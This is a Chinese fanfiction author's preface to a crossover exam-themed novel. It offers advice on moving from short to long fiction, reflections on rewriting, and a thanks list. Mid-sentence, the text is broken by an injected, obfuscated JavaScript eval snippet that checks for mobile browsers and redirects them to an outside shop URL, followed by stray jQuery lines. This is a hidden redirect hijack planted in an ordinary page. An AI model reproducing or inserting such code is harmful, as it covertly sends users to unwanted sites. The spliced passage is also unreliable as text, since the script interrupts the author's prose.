前言
写这篇的念头，大概是两年前开始的。具体是哪一天，我已经记不太清了。电脑里现存可追溯的文件，最早那个新建时间是2024年3月30日。但那是个副本文件，也就是说更早的时候，我就开始筹备了。我记不得是什么时候看完的全球高考和惊封，只知道想吃一口惊封穿越全球高考的饭，但当时同人区一片荒漠，可寻痕迹都是角色穿越既定考试，比如一起去考物理，还是在那个寒冷的雪山上。我喜欢这个考试背景，我想看点别的考试，不同于书里已有的考试。
于是饿到开始自己做饭。
从那时起我就计算了一下，木苏里的全球高考一共60多万字，四舍五入讲了差不多七场考试的内容，平均下来每场考试大概九万字左右，而我的构思……也不是几万字能讲完的。真正写起来才知道原来十万字是可以被称为长篇的，再短的长篇也叫长篇。
那么这个前言我也用来总结一下我新的笔记和心得，之前我就着基础写作给列表新手提出了一些方法指导，但那些是针对短篇/小段子/日常/梗文写作的，只适用于内容结构的构建，并不全面。我是短篇起手的，惯性的短篇思维会压制长篇，这一部分会主要对比短篇和长篇的思维转变。
假如你是来看文的，可以直接翻到正文，不用听前言部分的废话，但如果你是来寻求交流/合作/进步的，下面才是我要说的：
1、时间。
短篇讲究干练，主次鲜明，也就是说我们可以为了凸显出体而把不重要的地方一笔带过，比如“光阴如梭”、“一个小时过去”，这样处理是保证在几千个字里有用的内容要占据大部分的篇幅，而不是浪费在这样如流水账一般的描写中。
但长篇，所有主线的时间线中间一定要有事情作为跨度，这个和短篇的时间占比是差不多的。一个6k的短篇，“一个小时过去”，只占据了文章的千分之一的篇幅，假如是个长篇，你只用六个字去描述主角的历程，读者没有在这里有一丝一毫的停留，那么节奏就全乱了。
2、存在感。
短篇的空间变化很少，几乎很少出现双主角分开行动的情况，即使分开了，也会在读者耐心耗尽之前看到另一个主角，但是长篇角色一旦分开，尤其是主角，会很容易出现笔墨给了一个人之后，另一个人仿佛从此销声匿迹。如何写两个人默契：写单人行动的时候处处是另一个人的影子。
3、主动态。
这个长篇短篇都适用，哪怕角色已经走入绝境，也要表现出其主动态度，比如小A是被迫干xx的，想立摆烂的人设就写骂骂咧咧，想立热血人设就写主动寻求解决办法，总之角色的态度要放在第一位，不然就是流水账，人物形象扁平。这一点就是我序章一直在修改的原因，“迎战”or“应战”？
“我tm昨天晚上复习了一晚上的模电就是为了今天考这个？”（原版被迫应战）
“哦豁，这次撞进考试副本了。”（终版主动迎战）
4、配角。
配角也是角色，尤其是主要的配角，它可以不需要多少笔墨，但是一定要把人设立住（主要是行事的动机和逻辑要通顺），主角扁平化是大忌，配角扁平化其实也……也叫水平不行。像短篇就没这么多烦恼。
5、欲左先右和从一而终。
伏笔和反差固然是好的，但是如果因为反差而让前后产生矛盾绝对是不可取的，在初期就像个白色谎言，只是未知全貌，所以觉得某个角色怎么样，捋明白前因后果之后，读者需要的是恍然大悟的感觉，而不是莫名其妙。短篇这种就很好处理，长篇……建议是先把人设确定下来照着写，不然写着写着就写丢了，人脑的记忆力还是很薛定谔的。
以上都是基于个人思考写出的总结，不要胡乱套到任何一个作者或者不是一个赛道上的产出思路上去，非得对号入座被气到笔者概不负责。以及这么说不代表我这一篇就是完美的，毕竟——
完成比完美更重要。
之前我总想把每一章都打磨到满意再往下走，结果就是卡在前几章，反复改，反复推翻，反复……重写。这里我的用词不是修改，是重写，至少前面九章的内容，我重写了至少七八遍。我真正彻底纠正自己短篇思维，开始放心大胆地写废话是在2026年的年初，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459011|201256||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
虽然依然不那么满意，但一口气写到了大结局。完全可以看出来，我大结局写得都比前面几章的好，但大结局是一下子写出来的，一次都没有重写，只有对字句的微修。
按照现在来说，这本作品在我眼里已经称不上代表作了。我是个喜新厌旧的人，尤其是对自己的作品，只要在我眼里它不够完美，我期待的永远是下一个。比起把这个修缮到尽善尽美，我愿意新开一册。
好喜欢战斗啊……我要证明正剧向才是最强的。除了那种一眼就是被限流了的帖子，我一般把不火归因于自己水平还不够。偶尔粉丝在我评论区嚎为什么好看不火的时候，我都在心里默默合计，有没有一种可能，其实本来也没那么好看。没有贬低他人审美的意思，只是我的要求相对来说比较高。我会把商业化水平作为自己一项技术是否毕业的最低衡量标准，显然如果真的高分毕业了，我应该会换赛道。其实这一篇的战斗我也不是非常满意，但是经此一役，已经把战斗这一part毕业了，现在巨擅长写战斗。
这篇前言，既是写给读者的，也是写给我自己的。我写长篇最早可以追溯到十年前，直到后来培养出逻辑强迫症之后很难接受逻辑谬误，导致一直在短篇的舒适区不肯出去。两年时间，终于把短篇和长篇的思维纠正过来，中间踩过的坑，大概都写在这里了。
如果你也在写文，希望能隔着文字与你交流。
如果你只是来看故事的，那——
祝你读得开心。
这篇前言是在3月份的时候就已经写完了，和现在的心境肯定是有一定的出入的，之后也有很多思考，写了很多篇读书笔记，但是不在这里同步了。
鸣谢名单
命题组的宗旨：别让理科生写文
命题组组长：汉衣守月
组员（感谢宝贵的指导意见）：啧、团、Fish、日月生、苍银、顾俞、扶桑、安
气氛组（关于亲友的支持这一块）：周黛、藏存、花簪、歆昀、染离、柒祈、惊蛇、竹云、浮蝣、七七、白芷、默九卿、祁萱、楚曦、宏宏、月携霜、翎汐、归零、小百合、木木、甘青、祁佳